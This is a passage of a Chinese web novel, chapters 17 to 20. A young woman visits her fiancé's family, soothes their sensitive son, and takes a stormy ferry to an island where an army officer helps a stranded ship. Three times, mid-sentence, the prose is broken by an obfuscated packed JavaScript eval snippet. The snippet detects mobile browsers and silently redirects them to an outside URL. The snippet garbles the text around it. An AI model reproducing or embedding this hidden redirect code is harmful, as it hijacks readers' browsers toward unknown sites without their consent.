王平顺看了眼天上沉积的大片乌云，脸色也跟着沉了几分，“我看着也危险，去问问塔台那边有没有天气预警，咱们这边也准备一下，把电线跟接收器都收好了。” “诶！我这就去！” 17. 第 17 章 这一觉夏云婉睡的并不安稳。 中间陆楠上来了一趟，见她睡着就没打扰。 随着屋里光线越来越暗，睡梦中，夏云婉心情也有些阴沉。 在猛然急促的呼吸中，夏云婉惊醒。 耳边立刻传来‘哗啦’声——又下雨了。 屋里的窗帘没有拉起来，夏云婉走到窗前。 雨比下午的时候小许多，但淅淅沥沥的，看这架势应该不像有停下来的意思。 要是继续这么下到明天…… 看这外面天空厚重紧密的云层，夏云婉想起来原文中，夏云朵为什么回忆时说她在陆家住了一个月。 原本夏云朵跟自己一样也是要第二天就去武滨岛的，可来了之后便碰上了下雨天，雨势虽不大，夏云朵也仍是怕遇到危险，想着反正也不着急，干脆就决定在陆家暂且住一段时间。 郭玉芬原想着夏云朵住几天也就上岛了，结果雨天之后紧接着就是台风，安全起见，上岛的航路暂且关停，就这样，夏云朵陆家住了将近一个多月。 这一个月下来，本就互相看不顺眼的郭玉芬跟夏云朵两人没少闹矛盾。 夏云朵觉得郭玉芬刻薄，郭玉芬觉得夏云朵没有礼数，整一个月陆家都不带消停的。 夏云婉倒是也不着急上岛见陆霖川。 但她也不愿意在陆家住一个月。 现在表面看起来相安无事，可远香近臭的道理她还是懂的，时间一久，谁知道郭玉芬那脾气俩人会不会也闹不愉快，自己虽不是个能吃亏的，但有些矛盾，能避免还是避免掉比较好，而且她跟陆霖川毕竟还没有领证，长期住下去难保不会有人说什么闲话。 眼瞧到了时间，夏云婉下去吃饭。 陆建安亲自下厨，桌上已经摆了白灼虾、豆腐蒸鱼茸这些体面又不至于太破费的本地菜。 早些年她的爷爷也喜欢做这道豆腐蒸鱼茸，海里小杂鱼的肉剁碎后，混着豆腐鸡蛋一起下锅，看着好看味道也不差。 “云婉会做饭吗？” 郭玉芬笑盈盈把猪肉渣炒小白菜端上来，看见夏云婉下楼突然问道。 “会一些，但肯定没有陆叔叔这样的专业大厨做得好吃。” 说着夏云婉又吸了一口气：“还没下楼就闻到了香味儿，阿姨这么多年每天都能吃到叔叔做的菜肯定很幸福。” 这话说到了郭玉芬心坎上，随后又拉着夏云婉说了一堆陆建安如何给她变着花样做菜的事情。 陆建安跟夏云婉想的很不一样，他是个闷声话少的父亲，对夏云婉的态度也很随和，说话时常带着笑容，只是在提到陆霖川时，会有些尴尬，她不是很理解陆霖川为什么跟这样一个老实巴交的父亲能闹出来那么大的矛盾。 陆楠牵着儿子，身后跟着一个戴眼镜的男人也走了过来。 “云婉，这是你姐夫韩文彬，这是我儿子韩冬，冬冬，快喊婶婶。” 韩冬五六岁的样子，白净却脸颊消瘦，不像别人家这个岁数的孩子吃的胖乎乎的。 看妈妈让他喊人，韩冬低着的头微微抬起瞄了一眼夏云婉，随后便立刻又低了下去，拽住了陆楠的衣角，躲在后面，一声不发，甚至露出来的一些肩膀，还有些颤抖。 韩文彬轻哼了一声，好像早料到是这个结果一样，神色有些厌烦独自走去了沙发上坐着，“一句话教了几百遍，猪脑子都学会了，他学不会，在家里就算了，在外面还是这个样子，眼瞧都六岁了，六岁人家孩子都打酱油去了，他还在这儿招笑。” 如果不是韩冬这孩子紧缩在妈妈身后，夏云婉第一时间都想去捂住他的耳朵。 别听别听，都是坏话。 夏云婉从大学就已经开始兼职去上课了，带的孩子从小学到高中都有，孩子们性格各异，但无论多大的孩子，什么性格孩子，对父母的话都是最最在意的。 陆楠也有些不高兴，可却没有直接反驳韩文彬，只是微微叹了口气：“行了，你就别发牢骚了，我不是又请了个老师吗？过段时间看看，幼儿园再上不了，咱们以后请老师回家慢慢教呗。” 韩文彬不再说话，气氛一时间有些沉闷。 韩爷爷敲了敲手里的拐杖，“行了，来吃饭，是为了高兴，冬冬这孩子我瞧着挺聪明的，有老话说贵人晚开口，将来早晚能开窍。” 韩文彬脸色这才稍好些，道了个歉后，解释说自己是太着急了。 但陆楠领着孩子到他身边时，韩文彬还是下意识地躲闪了一下韩冬伸过去的胳膊。 低着头的韩冬身子缩得更紧了，他忽然用力拽着陆楠，指了指卧室的方向。 陆楠知道他这是又不想见人了，于是把韩冬抱起来，哄了好一会儿才算把孩子哄住。 可过了一会儿，韩冬还是突然又莫名的开始发抖，一边发抖一边流眼泪，缩在沙发里连陆楠都不让抱了，陆楠哄着他去屋里他也不愿意。 眼瞧就要吃饭了，韩文彬皱着眉瞪了一眼陆楠跟儿子，陆楠也无措的有些委屈。 夏云婉本身就对孩子有很多关注，仔细看了一会儿，注意到韩冬捂着的眼睛偶尔露出来时，总是有意无意的朝着窗户的方向看。 想了想，夏云婉起身试着把门口通风的窗户关了起来，又把其他窗户的窗帘给拉上。 等她坐定后，惊奇的是不出两分钟，韩冬居然情绪安定了一些，虽然仍缩在沙发角落，但好歹是不哭闹了。 陆楠愣了愣，反应过来才看向夏云婉，“是因为……你拉帘子的缘故吗？这孩子只要开始哭闹，至少也得半小时才见好。” 夏云婉嗯了一声：“我也只是猜的，外面雨下的着急，声音太乱了，小孩子跟大人不同，他们本来就对味道声音这些更加敏感一些，尤其是咱们还在说话，环境嘈杂也会引起小孩子的恐慌，尤其是……” “什么？”陆楠下意识问。 “没什么。”夏云婉笑了笑：“这些是我从报纸上偶然看到的科普新闻，试了一下，能有用就太好了。” “有用有用。”陆楠连忙道：“说起来也是让你见笑了，我们俩当父母这么几年，很多时候都摸不透冬冬在想什么，你一眼就能瞧出来可太厉害了，尤其我现在回忆一下，确实有时候带他去那种嘈杂的地方更容易让他焦虑，比如医院儿科什么的。” 韩文彬也觉得奇怪，问道：“那以后他在莫名其妙闹起来，只要带他安静地方就行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946047|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呗？” 夏云婉思索了一下：“也要看情况的，环境如果能安静一些最好。” “你还懂挺多的。” 韩文彬又多打量了一眼夏云婉。 细一端详，这小姑娘不光模样清秀端正，更难得小小年纪，言谈间自有章法，一句一句说得清晰明白，尤其是她有这个年龄少有的沉静。 “开饭了。” 陆建安端着最后一道菜上桌，招呼了一声，打断了两人的谈话，夏云婉也借此躲过了往后深究的问话。 “急什么，红星还没回来呢！”郭玉芬瞥了眼陆建安，“咋了，儿媳妇来了就把你小儿子忘了？我跟红星交代了，今天带彩英过来一块儿吃，咱们大家吃个团圆饭。” “陆霖川不在。”夏云婉下意识提醒。 团圆饭，不就是得所有人都在，少一个都不叫团圆饭。 陆楠闻言抿嘴笑了：“妈，你还说爸呢，我看你不也是有了小儿子忘了大儿子。” 郭玉芬讪讪点头：“是是是，我这顺口一说。” 恰好此时人也回来了。 “呦，我这赶得巧啊，刚好开饭！” 陆红星是个二十来岁的少年，精神气十足，身后便是祝彩英。 祝彩英头发梳理的一丝不苟，进屋没有像陆红星一样跳脱，而是礼貌的跟所有人先打了招呼。 “这是……嫂子吧？”陆红星眼神闪过一丝惊艳。 嫂子……可真漂亮。 眼前的女同志眉间淡雅目色却极浓，不是那种俗气的艳丽，也不是寡气的清淡，像是一幅山水画，怎么看都恰到好处，打扮也十分清丽，跟他想象中完全不一样！ “还没领证呢，你先喊姐。”郭玉芬提醒道。 “姐？”陆红星回神，有些不好意思的挠挠头，“我俩指不定谁大呢，这喊姐我多吃亏。” 周围人都笑了出来。 祝彩英没有笑，她也多看了一眼夏云婉，随后主动伸手，不咸不淡的喊了声姐。 “去洗手。” “诶。” 祝彩英跟着陆红星进了院子，转头就有些忍不住了。 “你不是说你哥那对象是早些年乡下结的娃娃亲吗？那衣裳打扮我瞧着可不像乡下来的。” “是乡下结的，但不许人家后来进城啊？” “我就是好奇问问，你这什么态度啊。”祝彩英哼了一声，挤开陆红星自己抢先洗手，然后伸手在陆红星身上擦了擦。 陆红星脸色有些差，但还是好声好气的哄了一句，“我不也是开玩笑呢，反问一句就是态度不好了？” “此言差矣，不过今天饶你一次，先进去吧。” 陆红星跟在后面微微松了口气，进屋后脸上便立刻又露出笑容来活跃气氛。 饭桌上无非又是听陆爷爷聊了一些从前的事情，又听郭玉芬夸了一通陆红星工作优秀，催了一下他跟祝彩英的婚事，饭过三巡，才说起了明日的安排。 本来原计划是今天去给夏云婉买票，明天上午陆楠陪着送夏云婉一块儿上岛。 陆爷爷却不放心，“这雨不知道要下多久，明天要是没停，小夏就多住些日子，不碍事的。” 18. 第 18 章 这两天就是要起台风了，到时候至少一个月内航路都不通。 “爷爷，我想着还是按计划明天上岛。”夏云婉道。 祝彩英抿嘴笑笑：“这也太着急了，云婉姐才来不到半天吧，是不是待得不舒服？我倒是经常过来，家里叔叔阿姨都很好相处的，不过兴许是我家也在这边住的缘故吧，家教相当，所以没觉得有什么。” 夏云婉疑惑的看了一眼祝彩英：“彩英妹子，我没说觉得不舒服呀，我一句话你曲解了这么多东西出来，聊个天而已，你咋跟做阅读理解似的，答案还是错的。” 陆红星笑着打趣：“我看是姐想赶紧见到我哥呗，爷爷，领证还是正事儿呢。” 陆爷爷闻言也高兴，“是，是，你们两个尽快安定下来是最好的，如果明日雨下的不大就先上岛。” 饭吃的差不多了，小孩子总是最先坐不住的。 韩冬吃饱后就从椅子上跳了下去，一句话不说，白净干瘦的小脸绷着就要走。 陆楠一把将娃给截住，从半空中拉到了自己身边，“再吃半口青菜半口鱼肉好不好？或者一点馒头也行，来，妈妈喂你。” 话说完了，筷子也递到了嘴边上去，可韩冬仍旧是怎么都不愿意张口，陆楠往左边送吃的，他就往右边扭头。 陆楠语气愈发的着急，唉声叹气却又无计可施。 夏云婉好奇的看了过去，才明白为什么韩冬瘦的跟个小鸡仔儿一样了。 一顿饭下来，陆楠给他夹过去的肉跟菜一口没动，就碗里的一点芋头粥喝了半碗，这样能胖才怪呢。 坐在韩冬旁边的祝彩英拿起筷子，“冬冬，好孩子是绝对不会挑食的，你要是挑食就不乖了，那样就没有人喜欢你了，这个鱼肉是甜的哦，你尝尝看。” 韩冬：“……” 干干瘦瘦小猴子一样的韩冬这下直接闭上了眼睛，看都不看，表示抗拒。 祝彩英倒也不生气，她又不是第一次来陆家了，韩冬这样也不是第一见，只能耸耸肩，表示自己无能为力。 夏云婉好奇的问道：“大姐，冬冬是不是不喜欢吃海鲜一类的东西？” 这边有河有海，只要吃饭，难免都会放些鱼虾。 陆楠摇头：“冬冬吃饭是老大难问题了，鱼虾一类确实不吃，但不止这些，其他的蔬菜吃食也一应不喜欢，我从小给他变着花样做饭，但他就是吃得少。” “有没有试过给他单独一个房间吃饭的？就像我刚才说的，孩子可能是对声音过于敏感了，外面人多，他不喜欢。” 陆楠回忆了一下，“这个倒是没试过，冬冬，要不咱们现在去屋里单独吃？” 韩冬不说话，过了会儿，眼神望着桌子上的芋头粥点了点头。 这下可把陆楠高兴坏了，招呼着韩文彬一块儿帮忙夹了点菜准备进屋。 夏云婉琢磨了一下，“大姐，海鲜鱼类跟普通的菜最好分开放，看看他到底是抗拒什么东西，还要馒头，等会儿要不试着泡一泡再喂，会软和一些，菜也挑点软和好消化的。” 有了刚才的事，陆楠相信夏云婉，都一一应了。 但临进屋前，除了妈妈谁都不管的韩冬却忽然朝着夏云婉的方向看了一眼。 夏云婉这下才算是真正看到这小娃娃的模样。 五六岁的孩子五官都没长开，但一双眼睛很亮，也很精神，可当韩文彬去拉他的手时，他却下意识的躲闪了一下，随后神色带了些痛苦。 “走呀。”韩文彬催道。 韩冬却一动不动，只看着夏云婉。 “舅妈。好。” 桌上其他还在说话的人瞬间安静下来，诧异的回看了一眼韩冬，又看了一眼夏云婉。 夏云婉也很意外。 她走过去，蹲下来，尽量跟韩冬平视，语气温和的笑笑，“你也好，等会儿记得多吃点喜欢吃的饭，让自己饱饱的，好吗？” “……” 韩冬不说话，但出人意料的点了头。 “这、这真是奇了怪了！”陆楠跟在旁边，愣神了好一会儿，“云婉，你真是神了，我们家冬冬出门很少很少说话的，而且不论是事情还是人，他都很少感兴趣，更别说像跟你这样有问有答的了。” 夏云婉：“他可能只是不知道该怎么跟人说吧，我以前又没少照顾弟妹，所以知道有些小孩子很敏感，需要在小事情上多留心。” 陆楠带着孩子进屋没多久，再出来脸上堆满了笑意。 “我把馒头泡到菜汁儿里，韩冬还真吃了不少，鱼虾还是一口没吃，不过吃了点切碎的白菜叶子，云婉，你是真是神了，韩冬跟人主动说话，还是上次去医院看儿科医生的时候呢，要不是知道你年龄，我都以为你是什么专业的幼儿老师幼儿医生了。” 夏云婉还是确实是专业的。 这事儿说来话长，夏云婉当年带幼儿班英语时，给孩子上试听课，碰见过一个有听障的孩子，因为听障缘故，性格敏感，可情感方面发育就格外迟缓，甚至有自闭的倾向。 一开始夏云婉也是为了自己的业绩，在教育机构里，试听课后多留一个孩子，她就有两百的提成费。 为了这两百，她才回家怒翻了两本自闭症孩子教育跟治疗的资料。 虽然一开始是为了利益，但后来上课时，这样的学生她必须要付出更多的精力跟关注，慢慢的她收获了经验，也互相有了感情，这孩子之后跟了她足足两个学期，她其实也从中学习磨炼了自己。 “可能还是小时候带弟妹的经验吧。” 夏云婉解释之后，又跟陆楠说了一些自己的经验跟教育方式。 “这样的孩子不见得就是有缺陷，反而只要教育得当，有了足够安全感，将来性格上也会有所转变，只是更加耗费心神一些，咱们医院跟学校现在没有这方面的资料，可以去市图书馆找找有没有国外的研究。” 陆楠一一记下，再三跟夏云婉道了谢。 夏云婉来了，同样是未来准儿媳妇的祝彩英难免有些受冷落，她看了眼周围人目光都在那边，有些烦躁的搁下了筷子，“且，真会出风头。” “什么风头？”陆老爷子年纪大了，耳朵听不太清楚，正要起身听见了，随口问道。 祝彩英脸一红，连忙摆了摆手。 吃完饭，雨慢慢停下来。 陆红星准备去送祝彩英回家，夏云婉也正要休息，却被陆爷爷喊住了。 “你们要结婚了，我老头子这么多年手里也没存什么，但有本书一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952435|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带在身边，算是老物件了，送给你们当礼物。” 那是一本灰色封皮边缘用线缝制的老版印刷书，看起来得有个几十年的历史。 仔细一瞧，上面写着《伤寒草药集锦》的繁体标题。 “一本书而已，也值当用来当礼物送人？”走到门口的祝彩英嘟囔了一声，但很快被陆红星给捂住了嘴。 夏云婉倒觉得挺好，老爷子是乡下苦出身，手里能存点东西不容易，一本古籍肯定也当成是好东西，道了谢后郑重收了起来。 郭玉芬抿嘴笑笑：“霖川结婚的事儿，老爷子一直都是最操心的，将来……他们俩领完了证，也该到我们红星了。” “妈！” 陆红星怕祝彩英不好意思，喊了一声推着祝彩英出了门。 “你们家看着条件不错，咱俩结婚，你爷爷不会也就送一本书吧？”才出了门，祝彩英便忍不住了。 陆红星心里不是滋味儿：“虽然我跟爷爷不是很亲，但好歹也是老人家一点心意，而且也不是给你的，你怎么还嫌弃上了。” 祝彩英哼了一声，“你妈不是说咱俩也快要结婚了，我可跟里面那个夏云婉不一样，我跟着父母也是见过世面的，到时候不会轻易把我给打发了吧？” 陆红星：“不是说了，等结婚以后，彩礼要求你们提嘛，说起来咱俩还是自由恋爱呢，你咋还这么在意这些。” “反正我看我朋友她们结婚彩礼起码也是三转一响外加一块手表，你要是少了这些，我可不愿意，我有知识有文化，跟你那嫂子不一样，明白吗？” “我觉得云婉姐人挺好的……” “你什么意思？” “……咳咳咳，没什么意思，你也好你也好，对了，前日我给你写的诗你看了吗，喜欢吗？” 祝彩英语气这才软和了许多，“我喜欢鸳鸯蝴蝶派，像郭沫若那样，你的话太直白了，下次委婉一些。” “直接说喜欢还不行啊。” “委婉，你知道什么是委婉吗……” 夜色中，两人说这话身影逐渐远去。 - 第二天一早，夏云婉就把东西收拾好了。 临出门，才发现陆霖川的卧室里除了老汉背心，门旁边的衣架子上还挂着个裤衩子。 她下意识看了眼尺寸，略有些失望。 这陆霖川不会是个胖子吧？ 也不应该啊，当兵的一般都有体重要求。 不过陆霖川的父亲就挺圆润的，他家毕竟是后勤炊事班出身…… 早饭简单吃过，夏云婉就跟陆楠先去领了军属人员运输审批证。 回家后吃过午饭，到了时间点再要出门时，外面淅淅沥沥的再次下起雨，不过两分钟，雷鸣闪电也都响了起来。 这下拉窗帘关窗户都没有用了，韩冬哭闹着非要妈妈陪才行。 韩文彬烦躁的将韩冬扔到陆楠怀里，“我妈前阵子发烧还没好，我下午还得去上班，别人看又不行，你有时间请去送人，还不如在家照顾几天孩子。” 陆楠有些为难的看向夏云婉，夏云婉连忙摆摆手：“其实我本来就想说呢，大姐来回跟着跑多麻烦，我又不是小孩子自己去也没什么，反正陆霖川明天就回来了。” 19. 第 19 章 卫海海境线。 两艘军用航船交错行驶开，互相鸣笛，示意交换巡逻值班。 “老沈，怎么突然提前换班了？” 陆霖川眉峰压的很低，站在甲板看了眼对面行驶过去的轮船，“这次任务明天才结束，不是后天早上才需要换班？” “接到预警，百分之九十的概率台风要来了。” 这里远离陆地，更远离他们的驻地武滨岛，海面异常的平静，厚重的云层堆积，空气能见度也很好，甚至还有阳光透过，但这就是海上，越是平静，往往越可能蕴藏着危机。 沈参谋继续道：“我们出海时候没有台风预警，船上准备不充分，交班后回去做准备，提前一天再来跟他们二连的做交接。” “嗯，明白了。”陆霖川来岛上快五年了，各种情况都已经可以熟练应对，早在刚才沈参谋说完，他心里就有了数。 返航路上，执行任务时紧张的氛围松快不少。 沈国栋扔了半个番茄给陆霖川，自己迫不及待啃了一口，“味道不错，咱武滨岛现在能种出来的蔬菜越来越好了，尝尝。” “我昨天尝了，是不错。”陆霖川没吃，转手扔给了身边的士兵。 “诶，上次的话还没跟你说完呢，你家上次给你相亲是不是黄了，怎么这么久都没听你提过。” 旁边的士兵小声道，“沈参，那次相亲我们陆团压根就没去，他请假休息就只是在家里修篱笆来着，哪儿都没去。” 沈国栋：“我说怎么一点消息都没有呢，前几天你家里打电话还是催你这个的吧，要我说，你如果怕耽误耽误了人家，在咱们岛上找一个也可以呀，这样谁也不耽误谁，还能男女搭配，你要是觉得合适，回去我就让我媳妇儿给你在岛上问问，多得是人家愿意。” “少废话。”陆霖川语气淡淡：“没这方面的想法。” “是没想法还是嫌麻烦？你是男同志，想结婚就得主动，总不能让人家把女同志直接送到你身边吧。” “确实没想法，也确实嫌麻烦。” “那你还准备当一辈子单身汉？老陆，你今天是二十七，不是十七，真等你三十七了，后悔都来不及。” “不会后悔，我有我的活法儿。” “行。”沈国栋没招了，“你有骨气，我服了，往后我再也不提这事儿，谁家要来找我给你说亲，我直接帮你推了。” 可惜激将法没用，陆霖川嗯了一声，“那就辛苦你了老沈。” 沈参谋：“……” 只是转过身，陆霖川想起那天电话里陆楠的话来。 家里如果真把那个娃娃亲对象给送岛上来，他回去也得想办法尽快给人再送走。 他见过父母的婚姻是什么样子的，婚姻这件事，一直都不在他的人生规划中。 与其像父辈那样互相耽误，不如一开始就打定主意，成全自己，也不影响她人。 彼时的卫海码头，夏云婉已经坐上了前往武滨岛的轮船。 窗户外就是无边无垠的海面，往前看去，一片蔚蓝。 雨早在夏云婉上船时就停了，这也让她安心了不少，虽然知道台风隔几天才到，但毕竟第一次坐六个小时船到海岛，天气不好，多少还是有些紧张。 “妈妈——呜呜，难受……” 除了拉运货物外，这艘轮渡也肩负人员通行的任务，除了像夏云婉这样前往武滨岛探亲的，还有一部分本身就是武滨岛上的人，来河岩市办完事，今天坐船回去。 夏云婉身旁坐着一个带孩子的妇女，瞧架势应该是买了东西要回家的。 那妇女放下筐子，将儿子抱到了怀里，“出来的时候你就哭，在百货大楼答应好的，给你买水果糖回来就乖乖听话，你不讲信用，下次我就带你哥出来了。” 那孩子三四岁的样子，闻言一脸委屈，同时又难受的皱眉流眼泪。 “我就是难受，呜呜……妈我不坐船了，我不坐了，我要下去……” 妇女这下有些生气了：“已经开船了，怎么下去？说着不想坐，下次我出来你又要闹着跟过来！再闹吵到了别人，我就打你屁股了！” 可这个岁数的孩子哪里是能讲道理讲通的，妇女说完，孩子刚忍了一会儿，又断断续续的又开始哭，妇女一咬牙，抬手拧到了孩子的大腿上，结果孩子哭得更厉害起来。 夏云婉瞧着有些心软，但她此刻也顾不得别人了。 她晕船了。 从前她也做过船，可从来没有像今天这样，才刚坐半小时，就感觉这么沉闷想吐的。 在夏云婉对面，坐着个穿衬衣的年轻男同志，扶了扶眼镜，忍不住皱起眉头。 “这位女同志，教育孩子靠打骂万万不可取啊，你儿子这情况看起来是真的难受，八成是晕船了。” 那妇女火气未下，“这孩子出生在海岛上，一岁不到就跟着坐船打鱼了，还能晕船？他就是坐不住，爱闹人。” “未必，小船跟轮船还是不一样的，尤其这么大的孩子，前庭没有发育好，这种密闭闷热的环境又容易产生焦虑，晕船概率是很大的。” “……啥玩意，一句我也没听懂。”妇女有些烦躁的看了眼依旧在哭闹的儿子，“那你说这咋办呀？” 男同志想了想，站起身来，“你跟我换位置吧，坐在窗户边，让孩子看看外面会好一些，最好哄着他睡觉，这样也能舒服点，对了，还有这个。” 他说着，又从兜里摸出来了一个拇指大小的铁皮罐子，“这里头是清凉油，摸到手上给他闻一闻。” “行吧，试试看。” 妇女叹了口气，起身换位置，又摸了清凉油。 夏云婉看孩子待在妇女怀里不安稳，想了想，从背包里找出毛巾，起身用杯子里的凉水浸湿，顺手缠在了孩子的手腕上。 一系列操作下来，孩子果然逐渐安静了下来。 妇女神色也轻松了下来，连忙道谢，“同志，刚才我也是着急，态度才有些不好，谢谢你呀，还有这位女同志，谢谢你们两位。” 男同志不好意思的笑笑，“举手之劳而已，不用道谢的，而且我这次去武滨岛，也是分配过去做老师的，说不定以后我还要带你家孩子上课呢。” “老师？”妇女有些意外，打量了一番后，“你是学校里说的那位马上要调任过去的刘德贤老师吧？我大儿子就上小学，前几天刚听他们班人说过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955285|192685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 刘德贤点头：“嗯，是我。” “诶呦好事儿啊，就冲刚才您这对孩子的样子，我就看出来您是个有责任心的好老师。” “确实不算什么，倒是这位女同志。”刘德贤谦逊的摆摆手，又认真看向夏云婉，眼神满是赞许与欣赏“我觉得她刚才的做法很聪明，缠住孩子的手腕，降温的同时还能让孩子有安全感，同志，你也是毕业后分配去岛上工作的吗？” “不是，我是去……寻亲的。” 直接说去结婚，总有些别扭，夏云婉找了个借口，她的证件也正好是军属证。 “呦，谁家的亲戚？”妇女安抚着孩子，见孩子有了困意，这才放心继续好奇地问：“我家男人是115团的，你说出来，我兴许还认识呢。” “我找陆霖川团长。” “老陆？”妇女瞪大眼睛，有些惊喜，“他跟我家老沈是多年战友了，我叫牛莉，妹子，有人接你没有，没有的话我带你去找人。” “有，有个表舅在这边儿。” 临行前，知道陆楠没办法上岛后，郭玉芬联系了她娘家一个在岛上工作的表弟，约好了时间，到了去接夏云婉。 “表舅？”牛莉细想了一下，“是老陆那个表舅杨木生吧？在水产场工作的。” “嗯。” “这岛上还有水产场？”后座一个梳着大辫子的女同志闻言也探头过来，“你们好，我是分配到岛上的知青欧阳玉。” 牛莉噗嗤乐了，“你这小同志什么话，海岛上没有水产场，什么地方有？” 周围人也笑了出来。 “欧阳同志，你是去哪儿工作的呀，什么学校毕业，怎么常识都没有？” 欧阳玉脸有些发红，“我是正经师范专科毕业的，我又没上过岛，好奇问问呗。” 牛莉：“听欧阳的口音跟刘老师完全不一样，你是河岩本地人吧，本地人不是一般往北方分配，咱海岛上倒是没怎么见过。” 欧阳玉得意的扬了扬下巴，“我家就在河岩市，家里不舍得让我去远地方，而且我也有亲戚在岛上，来这边反而方便一些，等在这荒岛熬过几年，家里还会想办法把我调回去的。” “呦，我们武滨岛可不荒，都建设十几年了，该有的都有。”牛莉打岔道。 旁边也有岛上的岛民听了不高兴，“我们原不是岛上原住民，早些年响应号召才搬过去的，咱们武滨岛如今发展可好了，连水产品加工厂都有，还有建材厂呢。” “欧阳玉：“再好也没城市好啊，厂再多，不还是个小岛。” “你这小同志，说话真难听。” “我说实话而已，怎么还不乐意听了呢，人得实事求是吧。” 是实话，可也得看怎么说出来的。 欧阳玉说完很快没人搭理她了，她自己也觉得没趣儿，又坐了回去。 夏云婉原本以为只要熬过六小时就可以平稳登岛了，结果才出海半小时，雨就又开始下起来。 后面四五个小时的路程里，雨下了又停，停了又下，断断续续的跟没完一样。 眼瞧着终于快到了，天空忽然又是一道闪电划过，雨势再度大了起来。 20. 第 20 章 原本平稳行驶的船身也在此刻忽然摇晃了一下，幅度不大，却把船舱里的很多人吓得不轻。 尤其是像夏云婉这样很少乘坐轮渡的人。 欧阳玉紧张的站了起来，招呼工作人员，“不是马上要靠岸了，怎么还不往前走？” 工作人员上前解释：“同志，在靠岸了，只是需要调整角度对正。” 欧阳玉：“可我看你们怎么转了方向，别吓唬我们行不行。” “现在下着雨，浪又大，惯性自然也大起来，所以得走‘Z’字朝着码头缆桩找点，不然太近了会撞上，太远了又够不着，同志，麻烦你谅解一下。” “真麻烦。”欧阳玉抱怨了一句这才又坐下。 夏云婉其实心里也有些害怕，但这晃动猛烈的船身让她心思全放在压制自己胸口恶心的感觉上。 “别、别慌，肯定没事儿。”身侧刘德贤开口安慰道，但他语气也有些紧张，仔细看看，他扶着桌面的手指骨节都发白了。 看俩人神情都不好，牛莉笑道：“别慌，去武滨岛的船长跟船员都是军里出身，安全的很，只要不起台风，一点事儿没有。” 刘德贤嗯了一声，说话有些结巴，“我、我不慌。” 牛莉笑了出来：“刘老师口音不是本地人，还没问是哪个地方来的？” “我老家在豫省。” “难怪了，那边是内陆，连河都少见吧，猛地坐船入海，肯定有些不适应。” 刘德贤扶了扶眼镜，“说来惭愧，我连游泳都不会，还想来了以后学一学呢。” “该学，该学，来了咱武滨岛不会游泳可不行，回头让我大儿子教你，夏同志呢？我看着脸色也不太好。” 夏云婉：“我是本地的，之前坐船不怎么晕的，今儿不知道是怎么了。” “今天浪是比平时大一些，但我出来前也没听说有台风预警，放心吧，到了地儿我给你冲个薄荷叶喝，保管喝了就不想吐了。” “谢谢……” 话没落地，忽然一声巨响，船身像是要倾倒一样晃动了一下，在众人惊魂未定前，船身又稳固下来。 “这、这是咋回事儿？”欧阳玉尖叫了一声。 “浪突然变大了。”船舱工作人员紧张的往外看了一眼后，安抚道：“这里距离岸上只有不到五百米，大家都别慌，坐下自己位置上别动，等会儿有人来给大家发救生衣，我去问清楚情况就回来。” “诶，你别跑啊你……” “没听见说别乱走动吗？！” 眼瞧欧阳玉要追过去，有人忍不住一把把她拉住，“先听工作人员安排行不行，你这样大家都受影响！” 欧阳玉：“我也是害怕好不好？” 夏云婉起身帮牛莉抱孩子，侧目看过去，“本来没大事儿，你一嗓子喊出去，大家都跟你一起紧张，等会儿局面更不好控制，你先别说话了，别引起不必要骚乱。” 欧阳玉仍是不服气，但船身再次晃动起来，再加上外面还有‘咚咚’的响声，害怕的一边低头嘟囔，一边转身赶紧先坐回去。 问清楚回来的工作人员赞许的看了眼夏云婉，“这位同志看着年龄不大，却比其他人冷静多了。” 说罢，他又有些厌烦的瞥了眼欧阳玉，这才继续道：“大家放心，下雨浪大，船头有些歪了，等流缓间隙配合舵机调好船位就可以靠岸。” 闻言，不少人这才松了口气。 只是等待调整船头的时间比很多人想的要久，五分钟、十分钟、十五分钟…… 渐渐地，别说欧阳玉了，整个船舱气氛都有些凝重。 - “老陆，前面有艘货船好像漂航了。” 沈国栋匆匆走出船舱，拿起望远镜看了一眼，又递给陆霖川。 雨水瞬间打湿了两个人的衣服，雨雾朦胧中，陆霖川仔细辨认着那边水面下的情况。 “水位下螺旋桨动力不足，应该是缠上东西了。”陆霖川仔细辨认后皱起眉。 “这个地方怎么能缠上杂物呢？船长是谁？” 陆霖川扔下望远镜，“风浪这么大，不管是谁都容易遇到问题，我看不是渔网被浪拍过来，就是旧缆绳缠着了，你在船上盯着先靠岸，给船上船员打指令，我去喊人一起下水帮忙。” “小心些。” “知道。” 话不多说，多耽误一秒，船舱里的乘客跟船员都要紧张害怕一秒，陆霖川迅速找了两个老练有经验的弟兄，摸了几个简易气瓶背上就下了水。 “有当兵的来帮忙了！” 